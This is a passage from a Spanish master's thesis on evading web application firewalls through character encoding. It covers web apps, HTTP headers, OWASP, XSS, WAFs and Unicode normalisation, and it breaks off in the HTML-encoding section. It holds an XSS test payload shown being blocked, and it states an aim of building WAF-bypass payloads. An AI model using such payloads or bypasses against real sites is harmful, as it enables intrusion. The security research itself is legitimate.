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Resumen

El presente Trabajo Final de Master busca exponer técnicas novedosas y poco conocidas para
evadir las restricciones de seguridad en una aplicacion web, que implementa un WAF como una
capa mas de proteccién, y brindar un nuevo enfoque practico para los profesionales de la
seguridad ofensiva y defensiva respecto a como un atacante podria ser capaz de evadir la capa de
seguridad de una aplicacién web haciendo uso de diferentes estdndares de codificacion de

caracteres.

Palabras Clave: WAFs, payload, script, pentesting web, xss, vulnerabilidad, Blue Team, Red

Team, code point, code page, bypass, header.

Abstract

This Master's Final Project seeks to expose novel and little-known techniques for circumventing
security restrictions in a web application, which implements a WAF as an additional layer of
protection, and to provide a new practical approach for offensive and defensive security
professionals regarding how an attacker might be able to evade the security layer of a web

application by making use of different character encoding standards.

Keywords: WAF’s, payload, script, pentesting web, xss, vulnerability, Blue Team, Red Team,

code point, code page, bypass, header.
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1. Introduccion

1.1. Contexto

En esta era digital en la que vivimos, las aplicaciones web se han convertido en una parte
fundamental de nuestro dia a dia, ya que nos permiten realizar multiples tareas de manera remota,
desde hacer compras en linea hasta acceder a servicios bancarios y de salud con dispositivos tales
como tabletas digitales, PC, ordenadores, mdviles y demaés. Sin embargo, esta inclinacion
tecnoldgica respecto al uso creciente de aplicaciones también ha dado lugar a un aumento
significativo en los ataques cibernéticos dirigidos a diferentes compafiias del sector pablico y
privado, las cuales pueden exponer, con o sin intencionalidad, la privacidad y la seguridad de los
usuarios, asi como la integridad de la informacién almacenada en los sistemas, resultando

catastréfico para dichas entidades.

Una de las técnicas mas utilizadas por los ciberdelincuentes para comprometer la seguridad de las
aplicaciones web es la inyeccion de cddigo malicioso a través de sus entradas de datos. Con el fin
de proteger las aplicaciones web de estos ataques, se han desarrollado los llamados "firewalls de
aplicaciones web" o WAFs, que actian como una barrera de protecciéon contra las amenazas
cibernéticas. No obstante, a pesar de que los WAFs son una herramienta (til en la lucha contra
los ataques cibernéticos, estos dispositivos no son completamente infalibles y pueden ser eludidos

mediante diversas técnicas de evasion.

La creciente sofisticacion y complejidad de las aplicaciones web modernas ha agravado aln mas
el problema de la evasion de WAFsS, ya que estas aplicaciones suelen utilizar multiples tecnologias
y arquitecturas, lo que dificulta la identificacion de los ataques maliciosos y su prevencion. Por
lo tanto, es esencial comprender en profundidad las técnicas de evasion de WAFs utilizadas por
los ciberdelincuentes y desarrollar contramedidas eficaces para garantizar la seguridad de las

aplicaciones web modernas.

Esta tesis se enfocara en investigar cuatro diferentes técnicas de evasion sobre diferentes WAFs
implementados en aplicaciones web modernas, con el objetivo de proporcionar un analisis
detallado de las técnicas utilizadas para eludir los mecanismos de seguridad, contrastar qué WAF
presenta una robustez mayor desde el punto de vista defensivo, y proponer soluciones eficaces
para mejorar la proteccion de las aplicaciones web modernas frente a estos ataques. Al realizar
esta investigacion, se espera contribuir al desarrollo de medidas de seguridad mas efectivas para
garantizar la integridad y confidencialidad de las aplicaciones web y la informacion, muchas

veces sensible, que manejan.
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1.1. Motivacion

La fuente de inspiracion y motivacion para la realizacion de este trabajo es fundamentalmente
proporcionar un analisis detallado de las técnicas de evasion de WAFs y contribuir a que se
disefien soluciones eficaces para mejorar la proteccion de los aplicativos frente a los ataques
cibernéticos. Al lograr este objetivo, se espera cooperar con la seguridad de diferentes compariias
y a la proteccion de la informacion confidencial de las personas fisicas. Adicionalmente, al revelar
estas cuatro técnicas de evasién de WAFs con sus respectivos payloads, cualquier persona del
equipo Blue Team sera capaz de implementar las medidas de seguridad necesarias para mitigar

ylo reajustar las configuraciones de su WAF.
1.2. Planteamiento del problema

Hoy en dia es muy poca la informacion que se encuentra en la web con un orden y estructura
cuando se trata de hallar métodos de evasion de WAFs, y que hagan uso de técnicas un tanto mas
complejas. Sumado a esto, se explotan en la naturaleza diferentes sistemas informaticos de
empresas que delegan toda la seguridad de una aplicacion web a un WAF y dejan sus sistemas
subyacentes vulnerables. Esto presenta un escenario ideal para un atacante con sélidos
conocimientos y habilidades, ya que pueden explotar un sinfin de fallos una vez que logran burlar

esta capa de proteccion de las aplicaciones.
1.3. Estructura del trabajo

El desarrollo de este estudio se basa en los siguientes postulados:

e Entendimiento de una aplicacién web, encabezados HTTP en uso por defecto y las
vulnerabilidades de inyeccién mas comunes.

e Comprension acerca del funcionamiento de un Firewall de aplicacién web (WAF) y su
propésito hoy.

e Explicacion sobre codificacion Unicode, URL y HTML.

e Investigacion sobre la compatibilidad y normalizacion de caracteres especiales.

e Investigacion sobre la implementacion de los proxys inversos entre aplicacion cliente-
servidor para la comprension en cada peticion HTTP.

e Elaboracién de diversas cargas Utiles para evadir WAFs.

e Ejecucion de inyecciones maliciosas, generadas a partir de la elaboracién, para medir el
grado de eficacia en los diferentes WAFs.

e Conclusiones de las pruebas y trabajos futuros relacionados a la investigacion.
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2. Objetivos

2.1. Objetivos primarios

En el presente trabajo de investigacion se han cumplido satisfactoriamente los objetivos primarios

gue se describen debajo y dan lugar al entendimiento de cémo un atacante es capaz de pasar por

alto las defensas impuestas por un WAF:

Entender qué es una aplicacion web y qué encabezados HTTP se utilizan en una
comunicacion tipica.

Entender cuéles son las vulnerabilidades web con mayor relevancia y explicar el impacto
sobre las de inyeccion de caracteres.

Entender qué es un firewall de aplicacion web (WAF) y para qué se utiliza.

Comprender los diferentes tipos de codificacién de caracteres, la arquitectura Cliente-
Proxy-Servidor y los encabezados ocultos que se utilizan para evadir un WAF.

Generar diferentes payloads que permitan evadir las medidas de seguridad de los WAFs.
Demostrar la evasion de diversos WAFs en el mercado a través de las técnicas generadas.

Brindar un enfoque complementario e innovador en cada una de las técnicas de evasion.

2.2. Objetivos secundarios

En concordancia con los objetivos primarios del proyecto, también se han cumplido objetivos

secundarios, que estan vinculados a posibles futuras investigaciones para brindar continuidad a

una metodologia de evasién con el fin de probar cada WAF que se implemente en las compafiias

publicas y/o privadas para minimizar el riesgo de exposicion ante posibles ataques de los

ciberdelincuentes.

Implementar un laboratorio de pruebas para generar cargas Utiles y contrastarlas contra
un WAF para medir su grado de eficiencia.
Aportar un enfoque complementario a las técnicas de evasion ya conocidas en el rubro

de seguridad ofensiva.



METODOS DE EVASION DE WEB APPLICATION FIREWALLS EN APLICACIONES
WEB MODERNAS

3. Planificacion

Para la planificacion de este proyecto final de master se estimaron 40 dias, dividiéndose en varias

etapas que se muestran a continuacion en un diagrama de Gantt:

DIAGRAMA DE GANTT
TFM - Gonzalo Carrasco

TAREAS

Investigacién de
aplicaciones y
WAFs

Andlisis de
comportamiento
con diferentes
cargas utiles

Disefio y prueba
de nuevas cargas
atiles

Evaluacién de
resultados

Documentacién

ILUSTRACION 1 — DIAGRAMA DE GANTT.
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4. Estado del arte

4.1. Aplicacion web

Lo primero que debe definirse en esta investigacion técnica es: ¢qué es una aplicacién web?

Dicho esto, una aplicacion web es un software que se ejecuta en un servidor web y se puede
acceder a través de un navegador web. A diferencia de las aplicaciones de escritorio que se
instalan y se ejecutan en un dispositivo local, las aplicaciones web se ejecutan en un servidor
remoto y los usuarios pueden interactuar con ellas a través de un navegador web en cualquier

dispositivo conectado a Internet.
Se componen de tres partes principales:

e El frontend: Esta es la parte de la aplicaciéon que el usuario ve y con la que interactda.
Estad compuesto generalmente por HTML, CSS y JavaScript. El frontend se comunica
con el backend para enviar y recibir datos.

e El backend: Esta es la parte de la aplicacion que se ejecuta en el servidor. Esta compuesto
por cddigo que se encarga de procesar la entrada del usuario, realizar consultas a la base
de datos y generar la respuesta.

e Labase de datos: Esta es la parte de la aplicacién que almacena los datos. La mayoria de

las aplicaciones web utilizan una base de datos (localmente o en la hube) para almacenar

informacidn sobre los usuarios, los productos, las transacciones, etc.

SERVIDOR (BACKEND) | CLIENTE (FRONTEND)

PRESENTACION

L LOGICA DE NEGOCIO ]

Cliente 1

Representacion del
conocimiento

Razonador

Recomendador

[ Datos del negocio ] Interfaz grafica de usuario

Controlador

~

Cliente 2

Contenido multimedia
enriguecido

Cliente 3

ILUSTRACION 2 — ARQUITECTURA DE APLICACION WEB BASICA.
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Tal y como puede verse, el concepto tedrico brindado sobre lo que es una aplicacion web es

suficiente para establecer el marco de referencia que nos compete en esta investigacion.
4.1.1. Encabezados HTTP

Siempre que se hable de una aplicacion web deben mencionarse ademas los encabezados HTTP.

Un encabezado HTTP, también conocido como cabecera HTTP, es una seccién de informacion
que se incluye en una solicitud y respuesta HTTP. Estos encabezados proporcionan informacion
adicional sobre la peticién y devolucién del servidor, como el tipo de contenido, el tamafio del
archivo, el idioma de la pagina, y demaés datos.

En una comunicacion basica entre un cliente y una aplicacién web, como la que se presentara
posteriormente en el laboratorio, los encabezados HTTP se utilizan para proporcionar
informacién adicional sobre el estado de la peticion y respuesta del servidor, y para ayudar a

ambas partes a comunicarse de manera efectiva.
A continuacién, se detallan algunos de los encabezados HTTP mas utilizados y su funcion:

e Host: Se utiliza para especificar el nombre de dominio de la aplicacién web a la que se
esta realizando la solicitud. Este encabezado es esencial para las aplicaciones web que se
alojan en servidores compartidos.

e User-Agent: Se utiliza para identificar el tipo de navegador o agente de usuario que se
esta utilizando para realizar la solicitud. Este encabezado también ayuda a personalizar
el contenido de la pagina para diferentes tipos de navegadores o dispositivos.

e Accept: Se utiliza para indicar el tipo de contenido que el cliente esta dispuesto a aceptar
en la respuesta. Por ejemplo, si el cliente desea recibir solo contenido HTML, el
encabezado Accept se establecera en "text/html".

o Referer: Se utiliza para especificar la direccién URL de la pagina desde la que se origind
la solicitud. Este encabezado se utiliza a menudo para rastrear la navegacion del usuario
en un sitio web.

e Connection: Se utiliza para indicar si la conexién debe mantenerse abierta o cerrarse
después de que se complete la solicitud, es decir, si el valor del encabezado es "keep-

alive", la conexién se mantendré abierta para futuras solicitudes.

12
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Encabezados HTTP

Upgrade-Insecure-Requests: 1

TFM - Gonzalo Carrasco

ILUSTRACION 3 — ENCABEZADOS HTTP.

Un aspecto sumamente relevante de cara al estudio en cuestién es que se pueden especificar

encabezados HTTP personalizados para, por ejemplo:

e Enviar informacién de autenticacion falsa.
e Enviar cargas Utiles maliciosas.

e Enviar inyecciones de caracteres especiales.

Los encabezados HTTP son una pieza fundamental de la comunicacion entre una aplicacion web
y un cliente, y permiten a ambas partes establecer una correspondencia de manera efectiva y
eficiente. Por este motivo, se debe tener especial consideracion para cualquier equipo de
ciberseguridad defensiva o Blue Team encargado de securizar aplicaciones web.

4.2. Vulnerabilidades web

Habiendo definido qué es una aplicacion web y los encabezados HTTP mas utilizados en una
comunicacion cliente-aplicacion, se deben comentar entonces las vulnerabilidades web mas

conocidas y explotadas en la actualidad.

Las vulnerabilidades web son fallos de seguridad en las aplicaciones que permiten a los atacantes
explotar debilidades en el software y obtener acceso no autorizado a informacion sensible, filtrar
informacién confidencial o tomar el control del sistema. Estas vulnerabilidades pueden ser
explotadas a traves de diversas técnicas, como la inyeccion de cddigo malicioso en la aplicacion,

la manipulacion de pardmetros de entrada, la ejecucion de scripts maliciosos, entre otras.

La OWASP (Open Web Application Security Project) es una organizacion sin fines de lucro que
se dedica a mejorar la seguridad de las aplicaciones web. Cada cierto tiempo publica una lista de
las 10 vulnerabilidades web mas explotadas a nivel mundial conocida como el "OWASP Top

Ten".

13
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En la altima version del OWASP Top Ten, publicada en 2021, las 10 vulnerabilidades destacadas

son:

1) Pérdida de Control de Acceso

2) Fallas Criptogréaficas

3) Inyeccién

4) Disefio Inseguro

5) Configuracion de Seguridad Incorrecta

6) Componentes Vulnerables y Desactualizados

7) Fallas de Identificacion y Autenticacion

8) Fallas en el Software y en la Integridad de los Datos

9) Fallas en el Registro y Monitoreo

10) Falsificacion de Solicitudes en el lado del Servidor (SSRF)

Broken Access Vulnerable and
Outdated
Control
Components
Cryptographic .
Failures

OWASP

Injections °

Software and Data
Integrity Failures
Security Logging
Insecure Design and Manitoring
Flaws
Security Server-Side Request
Misconfigurations Forgery (SSRF)

TFM- Gonzalo_Carrasco

TOP10

Identification and
| Authentication
- Flaws

ILUSTRACION 4 — TOP 10 OWASP.

Véase en el tercer puesto las vulnerabilidades de inyeccidon. En la siguiente seccion se profundiza
en su explicacion y detalle.

4.2.1. Vulnerabilidad de inyeccion web

Centrandose exclusivamente en las vulnerabilidades de inyeccion web, estas se refieren a los
ataques en los que los cibercriminales inyectan cédigo malicioso en la aplicacion web
manipulando parametros de entrada con el fin de comprometer al aplicativo, y ocurren debido a
que estas variables que contienen los datos ingresados por el cibercriminal (usuario malicioso o
no) no se validan o sanitizan correctamente antes de ser utilizados en una consulta a una base de

datos o en la ejecucion de comandos en el servidor. La inyeccion web se puede originar en
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diferentes partes de la aplicacion, como en campos de entrada de usuario, formularios, parametros

de URL, encabezados HTTP, cuerpo de peticion, y demas.

Las vulnerabilidades de inyeccion XSS (Cross-Site Scripting) son una de las mas famosas en el
campo de la seguridad web ya que presentan un elevado riesgo considerando su facilidad de
descubrimiento y explotacion. Se trata de una vulnerabilidad que permite a un atacante inyectar
codigo JavaScript malicioso en una pagina web, que luego es ejecutado (reflejado o almacenado)
por el navegador del usuario. Esta porcién de cddigo inyectado puede ser utilizado para robar
informacidn, realizar acciones maliciosas en nombre del usuario, o redirigirlo a sitios web

fraudulentos.
4.3. Web Application Firewall

Un firewall de aplicacion web o por sus siglas en inglés “Web Application Firewall” (WAF) es
un sistema de seguridad que se utiliza para proteger a los servidores y a las aplicaciones web, y
gue probablemente no hayan sido debidamente disefiadas y desarrolladas con medidas de
seguridad adecuadas, contra ataques maliciosos y vulnerabilidades en la capa de aplicacion. Un
WAF es capaz de monitorear todo el trafico web vy filtrar las solicitudes entrantes de acuerdo con

una serie de reglas y politicas configuradas por el administrador.

En la siguiente captura puede verse que se envia la carga util maliciosa a través de la URL del
navegador contra el aplicativo y el WAF bloquea automaticamente esta peticion:

Carga (til o payload

<script>alert(8)</script>
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Solicitud Bloqueada

Sorry, you have been blocked

You are unable to access

ILUSTRACION 5 — PETICION BLOQUEADA.

Los WAFs estan basados e implementados en hardware o software, se sittan entre el cliente y el
servidor, y funcionan como una capa adicional de defensa para proteger las aplicaciones web de
ataques como inyeccién SQL, XSS, XXE, SSRF, CSRF, etc. Ademas, también pueden
proporcionar informes detallados de las actividades del trafico web para ayudar a los

administradores a identificar y analizar posibles amenazas y anomalias.

Implementacion de WAF

I Trafico Web gﬁﬁ ] ]
/

y‘— _ Trafico Web |
g/
Atacante Firewall de ApIic!lcién Web Servidores de Aplicacion Web

(WAF)

ILUSTRACION 6 — IMPLEMENTACION DE WAF.

Por otra parte, los WAFs proporcionan un mayor nivel de proteccion para aplicaciones que se
ejecutan en entornos de alojamiento compartido o en servidores no administrados, donde la
seguridad no es responsabilidad directa del propietario de la aplicacion, como es el caso de las
aplicaciones cloud. Al implementar un WAF, las organizaciones pueden reducir
significativamente el riesgo de comprometer la seguridad de sus aplicaciones web y, en Gltima

instancia, proteger los datos y recursos criticos.
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5. Fundamentos teoricos

Para poder entender exhaustivamente, complementar conocimientos y elaborar técnicas de
evasion de WAF, es imperativo explicar con detalle qué es la codificacidn de caracteres, qué tipos

de codificacidn existen y detallar las mas relevantes para los propdsitos de esta investigacion.

5.1. Definiciones

5.1.1. ;Qué es la codificacion de caracteres?

La codificacion de caracteres es un proceso técnico que se utiliza para representar caracteres de
un lenguaje natural (alfabeto) mediante una secuencia de bits o bytes en un simbolo de otro
sistema de representacion, como por ejemplo un sistema de computadora, aplicando una serie de

normas o reglas de codificacion.

Simplificando, la codificacién de caracteres define cdmo se traducen los bytes a texto y viceversa.
A su vez, eligiendo una codificacidn en particular, una secuencia de bytes se puede interpretar de

diferentes formas.
5.1.2. {Qué tipos de codificacion de caracteres existen?

Existen diferentes sistemas de codificacion de caracteres que asignan un valor Gnico a cada
caracter para que puedan ser almacenados y procesados por una CPU. A continuacion se listan

los més relevantes para esta investigacion:

e ASCII (American Standard Code for Information Interchange): Es un sistema de

codificacién de caracteres de 7 bits que se utiliza principalmente para el inglés y otros
idiomas europeos.

e 1S0O-8859: Es un conjunto de sistemas de codificacién de caracteres de 8 bits que se
utilizan para idiomas europeos, como espafiol, francés y aleman.

e Unicode: Es un sistema de codificacion de caracteres de multiples bytes que incluye
caracteres de la mayoria de los idiomas escritos en todo el mundo.

e UTF-8 (Unicode Transformation Format-8): Es un sistema de codificacion de caracteres

que utiliza de uno a cuatro bytes para representar caracteres de Unicode. Es compatible
con ASCII y se utiliza ampliamente en la web.
e UTF-16: Es un sistema de codificacion de caracteres de 16 bits que se utiliza para

representar caracteres de Unicode.
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5.1.2.1. Punto de cddigo y pagina de codigos

En la codificacion de caracteres, los conceptos de punto de codigo y pagina de codigos, o en inglés
"code point" y "code page", son términos relacionados con la representacién de caracteres

mediante una secuencia de bits o bytes.

Un code point es un valor numérico Gnico que se asigna a un caracter especifico en un sistema de
codificacion de caracteres, como es el caso de Unicode. Cada caracter tiene un code point que lo
identifica de manera Unica. Por ejemplo, el code point de la letra "A" en Unicode es U+0041.

Por otro lado, un code page es el conjunto de caracteres mas sus equivalentes code points que se
pueden representar en un solo byte o en multiples bytes en un sistema de codificacion de
caracteres especifico. Un code page define como se codificaran los caracteres en una aplicacion,
sistema operativo o dispositivo. Por ejemplo, en el sistema de codificacion de caracteres ASCII,
cada caracter se representa mediante un Gnico byte, lo que significa que solo se pueden representar
256 caracteres diferentes (1 byte = 8 bits; 2*8 = 256 combinaciones de code page). En cambio,
en Unicode, que es un sistema de codificacion de caracteres de varios bytes, se pueden representar

muchos mas caracteres.
5.1.2.2. Ejemplos de codificacion

Debajo se muestran algunos ejemplos de codificacion de la letra del alfabeto romano “A” y su

correspondiente equivalencia en los principales sistemas de codificacién:

Caracter : e
Sistema de codificacion de : :
alfabeto Equivalencia
caracteres
romano
A ASCII 0x41 (hexadecimal) o 65 (decimal)
A ISO-8859-1 0x41 (hexadecimal) o 65 (decimal)
A Unicode uU+0041
A UTF-8 UTF-8: 0x41 (hexadecimal) o 65 (decimal)
A UTF-16 0x0041 (hexadecimal) o 65 (decimal)

5.2. Codificacion Unicode de caracteres
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El primer sistema de codificacion del que se debe hablar con el fin de contextualizar y brindar un
punto de partida para el correcto desarrollo del contenido técnico es sin duda Unicode.

Unicode es un estandar internacional que permite representar todos los caracteres utilizados en
los diferentes idiomas y sistemas de escritura del mundo, incluyendo letras, simbolos, signos de

puntuacion, caracteres matematicos, emojis y otros caracteres especiales.

La codificacion Unicode utiliza un punto de cddigo (code point) para representar cada caracter e
implementa un conjunto de tablas que contienen todos los puntos de codigo asignados a cada
caracter. Ademas, este punto de codigo es un nimero entero no negativo que se asigna a cada
caracter y se expresan en hexadecimal (base 16), lo que significa que se utilizan 16 simbolos

diferentes para representar valores numéricos del 0 al 15.

Cada punto de codigo se representa mediante un nimero hexadecimal que comienza con la letra
"U", seguida de cuatro a seis digitos hexadecimales (0-9, A-F). Por ejemplo, la palabra "Master"

en Unicode se representa como se muestra a continuacion:

Representacion Unicode

M a S t e r

U+004d U+0061 u+0073 U+0074 U+0065 uU+0072

5.2.1. Notaciones de Unicode

La notacion en Unicode se refiere a la forma en que se representan los caracteres Unicode
mediante una serie de codigos y simbolos. Estas notaciones permiten a los programadores y
disefiadores de software trabajar con caracteres Unicode sin tener que depender de una
representacion visual del caracter. En lugar de ello, se utilizan diferentes formas de representar el

caracter, como secuencias de codigo hexadecimal o decodificacion de caracteres.
Las notaciones en Unicode incluyen:

e Notacion de punto de cddigo Unicode: Esta notacion utiliza el prefijo "U+" seguido de

su punto de codigo hexadecimal. Por ejemplo, la letra "G" se puede representar como
"U+0047".

e Notacion de escape Unicode: Esta notacion utiliza el prefijo "\u" seguido de cuatro digitos

hexadecimales para representar un punto de c6digo Unicode. Por ejemplo, la letra "G" se

puede representar como "\u0047".
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e Notacion de escape de secuencia Unicode: Esta notacion utiliza el prefijo "\x" seguido de

dos digitos hexadecimales para representar un caracter Unicode. Por ejemplo, la letra "G"
se puede representar como "\x47".

e Notacion de escape Unicode extendida: Esta notacion utiliza el prefijo "\U" seguido de

ocho digitos hexadecimales para representar un punto de cédigo Unicode. Por ejemplo,
la letra "G" se puede representar como "\U00000047".

Estas notaciones son esenciales para trabajar con Unicode en diferentes contextos, incluyendo la
programacion, la comunicacion y la representacion de idiomas y caracteres en la web y en otras

aplicaciones informaticas.

En la practica, los backend que trabajan con Unicode deberian ser capaces de interpretar estas
notaciones, ya que son parte de la especificacion del estandar Unicode y estan ampliamente

utilizadas en aplicaciones informéticas.

En el caso de las notaciones “\UXXXX” y “U+XXXX”, la gran mayoria de lenguajes de
programacion proporcionan funciones para convertir una cadena, que contenga estas notaciones,
en el caracter Unicode correspondiente. Asimismo muchas aplicaciones informaticas, como
editores de texto o navegadores web, no interpretan correctamente las notaciones descritas
anteriormente. Sin embargo, es posible que en mas de una ocasion estos componentes no admitan

ciertas notaciones de Unicode o que requieran una configuracion especifica para hacerlo.
5.2.2. Ancho completo y ancho medio

Prosiguiendo con el hilo conductor de la tesis, es necesario hablar ahora el término "ancho", el
cual se refiere a la cantidad de espacio horizontal que ocupa un caracter en una linea de texto o lo
gue es lo mismo, la asignacion de celdas en una cuadricula de visualizacion. El ancho de un

caracter se puede clasificar en dos categorias:

e Ancho completo.

e Ancho medio.

Los caracteres de ancho completo tienen un ancho que es el doble que los caracteres de ancho
medio. Sumado a esto, los caracteres de ancho completo se utilizan en los idiomas asiaticos, como
el chino, el japonés y el coreano, mientras que los caracteres de ancho medio se utilizan en los

idiomas europeos y de Oriente Medio.

La razdn de la existencia de caracteres de dos anchos diferentes en Unicode se debe a la necesidad
de representar caracteres de diferentes sistemas de escritura en una sola codificacion de caracteres.

Si todos los caracteres se representaran con el mismo ancho, los caracteres de los idiomas asiticos
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se verian muy pequefos y dificiles de leer, mientras que los caracteres de los idiomas europeos y
de Oriente Medio se verian muy grandes.

Para garantizar que los caracteres de ancho completo y ancho medio se representen correctamente
en las aplicaciones informaticas, se utilizan diferentes fuentes de tipo (font) y diferentes métodos
de procesamiento de texto. Las fuentes de tipo para caracteres de ancho completo suelen ser mas
grandes y se utilizan para mostrar caracteres de idiomas asiaticos. Las fuentes de tipo para
caracteres de ancho medio suelen ser méas pequefias y se utilizan para mostrar caracteres de

idiomas europeos y de Oriente Medio.

Representacion de caracteres

Ancho Completo | Ma s t e r | U+FF2D U+FF41 U+FF53 U+FF54 U+FF45 U+FF52

Ancho Medio Master U+004D U+FF41 U+0073 U+FF54 U+0065 U+FF52

NOTA: La fuente es distinta en esta tabla debido a que no todas aceptan ancho completo.
Ademas de los caracteres de ancho completo y ancho medio, Unicode también incluye:

e Caracteres de combinacion.

e Caracteres de control.

Los caracteres de combinacion se utilizan para crear caracteres mas complejos mediante la

combinacion de dos 0 mas caracteres simples.

Los caracteres de control se utilizan para controlar la forma en que se muestra el texto en las

aplicaciones informaticas.

Debajo se muestran dos ejemplos independientes sobre combinacién y control de caracteres

Caracteres de combinacion

Dato de entrada Representacion Unicode

U+004D (M) + U+0302 (°) + U+0061 (a) + U+0308 () + U+0073
Méistej (s) + U+0074 (t) + U+0065 (e) + U+035C () + U+0072 (r) +
U+030C ()

Caracteres de control
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Dato de entrada Representacion Unicode

M\x07a\x1bster \u004D\u0007\u0061\u001B\u0073\u0074\u0065\u0072

NOTA: La fuente es distinta en esta tabla debido a que no todas aceptan ancho completo.

5.2.3. Normalizacién de Unicode

La normalizacion Unicode es el proceso de estandarizacion de la representacion de caracteres
Unicode para asegurarse de que sean equivalentes en contenido semantico, independientemente
de como se representen. La normalizacién Unicode aborda el problema de que un solo carécter
se puede representar de diferentes formas en Unicode. Esto puede ser un problema en la
comparacion y busqueda de texto, ya que dos secuencias de caracteres gque representan el mismo

concepto pueden Nno compararse correctamente.

Este concepto se basa en la idea de que existen varias formas equivalentes de representar un
mismo caracter Unicode, pero que algunas de estas formas pueden ser preferibles en ciertos
contextos, dependiendo de las necesidades del usuario y del sistema. Por ejemplo, la letra "4"
puede representarse como un caracter separado "a" o como la combinacion de una "a" y un acento

agudo "a", y ambas formas son igualmente validas y representan el mismo caracter Unicode.

Existen varias formas de normalizacion Unicode, identificadas como NFC, NFD, NFKC y NFKD,
gue se diferencian en como se realizan las transformaciones. Estas formas pueden ser utilizadas
para asegurar que los datos de texto sean consistentes y compatibles entre diferentes plataformas
y aplicaciones. La normalizacion Unicode es particularmente importante en aplicaciones que
trabajan con textos multilinglies y que necesitan garantizar la interoperabilidad, la accesibilidad
y la portabilidad de los datos de texto.

A continuacién se enumeran las formas de normalizacion:

e Forma Normalizada Candnica (NFC): Esta forma normalizada se centra en realizar todas

las descomposiciones canodnicas necesarias para cada caracter y luego se vuelven a
componer en una secuencia canonica. Por ejemplo, la secuencia "e" y un acento agudo se
componen en la letra "é": "\UOOE9". Esta forma es la recomendada para almacenar
cadenas de texto.

e Forma Normalizada de Compatibilidad (NFKC): Esta forma normalizada es similar a la

NFC, aunque también reemplaza secuencias de caracteres que son compatibles con
Unicode con caracteres unicos. Por ejemplo, la secuencia "1/2" se convierte en "%2". Esta

forma es (til para busquedas y comparaciones de texto.
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Forma Normalizada Combinatoria (NFD): Esta forma normalizada se enfoca en la

descomposicion de los caracteres en su forma mas bésica, es decir, cada caracter que
tenga una representacion equivalente a una secuencia de caracteres se descompone en esa
secuencia. Por ejemplo, la letra "é" se descompone en la secuencia "e" y un acento agudo:
"\u0065\u0301". Esta forma se utiliza a menudo para realizar operaciones de
comparacion de cadenas.

Forma Normalizada de Compatibilidad Combinatoria (NFKD): Esta forma normalizada

es similar a la NFD, pero también aplica la misma idea de compatibilidad que la NFKC.
Es decir, descompone caracteres que no son compatibles con Unicode. Por ejemplo, el
simbolo de la marca comercial "™" se descompone en "TM". Esta forma es Gtil para

busquedas y filtrados de texto.

La siguiente figura muestra una clara diferenciacion y ejemplificacion acerca de los tipos de

normalizacion y como se aplican estas transformaciones en cada caso:

fi

FBO1

{

Source NFD NFEC NFKD NFKC

3 &= 273 2 ° 25 25

0032 2075 0032 2075 0032 2075 0032 0035 0032 00354

1E9B 0323 017F 0323 0307 1E9B 0323 0073 0323 0307 1E69

11 fi f 1 f 1

FBO1 FBO01 0066 0069 0066 0069

. oo (o Sod 8§

ILUSTRACION 7 — FORMAS DE NORMALIZACION UNICODE.

Ademas, existen dos formas adicionales de normalizacion Unicode “NFKC_Casefold” y

“NFKD_Casefold”, las cuales combinan los pasos de la normalizacion NFKC o NFKD con la

conversion a mindsculas de las letras.

En NFKC_Casefold, primero se realiza la normalizacion de compatibilidad de comodines
(NFKC) y luego se convierte todo a minusculas y se aplica un "plegado” de caso adicional
para ciertos caracteres que tienen multiples representaciones en Unicode.

En NFKD_Casefold, se aplica primero la normalizacion de descomposicion de
compatibilidad (NFKD) y luego se realiza la conversion a minGsculas y el plegado de

Caso.
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Con NFKC_Casefold, la palabra “MastEr” se normaliza de la siguiente manera:

1. Se aplica la normalizacion NFKC, convirtiendo la "E" en "E" y haciendo que las letras

nAn

"§" y "é" tengan una sola forma candnica de representacion. Por lo tanto, se obtiene la
cadena "Master".

2. Se aplica la operacién de “case folding”, y se convierten todas las letras a mindsculas y
se elimina cualquier informacion de mayusculas/mindsculas. En este caso, la cadena final

es “master”.
Con NFKD_Casefold, la palabra “MastEr” se normaliza como se muestra debajo:

1. Seaplicalanormalizacion NFKD, descomponiendo los caracteres Unicode en sus formas
canonicas de compatibilidad. Esto convierte la "E" en "E" y separa la letra "a" en dos
caracteres distintos: "a" y un acento agudo (). La cadena resultante es "MastEr".

2. Se aplica la operacion de “case folding”, y se convierten todas las letras a mintisculas y
se elimina cualquier caracter de mayuUsculas. En este caso, la cadena resultante es

"master".

En la seccién 7 de este trabajo se hard uso de los conceptos tedricos de Unicode, y todas sus
caracteristicas relevantes a esta investigacion plasmados anteriormente, para la generacion de

diferentes cargas Utiles que ayuden a evadir las restricciones de un WAF.

5.3. Método de codificacion HTML de caracteres

5.3.1. Definiciéon

La codificacion HTML de caracteres es el proceso de representar caracteres en un documento
HTML utilizando c6digos de caracteres especiales. Este proceso es necesario para garantizar que
los caracteres especiales se muestren correctamente en el navegador web y para evitar errores de

visualizacion.
5.3.2. ldentificacidn de caracteres

El proceso de codificacion HTML comienza con la identificacion de los caracteres especiales en
el texto que se desea mostrar en un documento HTML. Estos caracteres especiales pueden ser

simbolos, letras con acentos o caracteres no latinos.

Una vez que se han identificado los caracteres especiales, se debe reemplazar cada uno por un
codigo de entidad HTML. Los cddigos de entidad son secuencias de caracteres que representan

un solo carécter, y estan precedidos por el signo "&" y finalizan con el signo ";".

Debajo puede verse un ejemplo de la codificacion HTML del caracter “a”, “a”, <y “"":
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Representacion HTML

Dato de Entrada  Codificacion HTML Obligatorio
a &#x61; No
a &fttxel; No
" &i#tx22; Si
' &#X27,; Si

La codificacion HTML también incluye entidades especiales para caracteres comunes que tienen
un significado especial en HTML, como el signo mayor que “>y el signo menor que “<”. Estas
entidades se utilizan para evitar que el navegador interprete estos caracteres de manera incorrecta

y lo haga como parte del cédigo HTML en lugar de adoptarlos como contenido del documento.

5.3.3. Aplicabilidad de codificacion

Es importante tener en cuenta que no todos los caracteres necesitan ser codificados en HTML.
Prueba de esto son los caracteres alfanuméricos estandar y los caracteres comunes como los
signos de puntuacion. Solo los caracteres especiales que afectaran el formato o la visualizacion

de la pagina deben ser codificados.
5.3.4. Problemas de codificacion

La codificacién de caracteres en HTML puede presentar varios problemas y perjudicar la
legibilidad y comprensién del contenido por parte de los usuarios. A continuacién se presentan

algunos de los inconvenientes mas comunes:

e Caracteres no imprimibles: Algunos caracteres, como los caracteres de control, no son

imprimibles y, por lo tanto, no se muestran en la pagina web. Si estos caracteres estan
presentes en el contenido de la pagina, pueden afectar la legibilidad y el sentido del texto.

e Caracteres no soportados: En ocasiones los navegadores y dispositivos no soportan todos

los caracteres que se utilizan en la codificacion HTML. Esto puede provocar que los
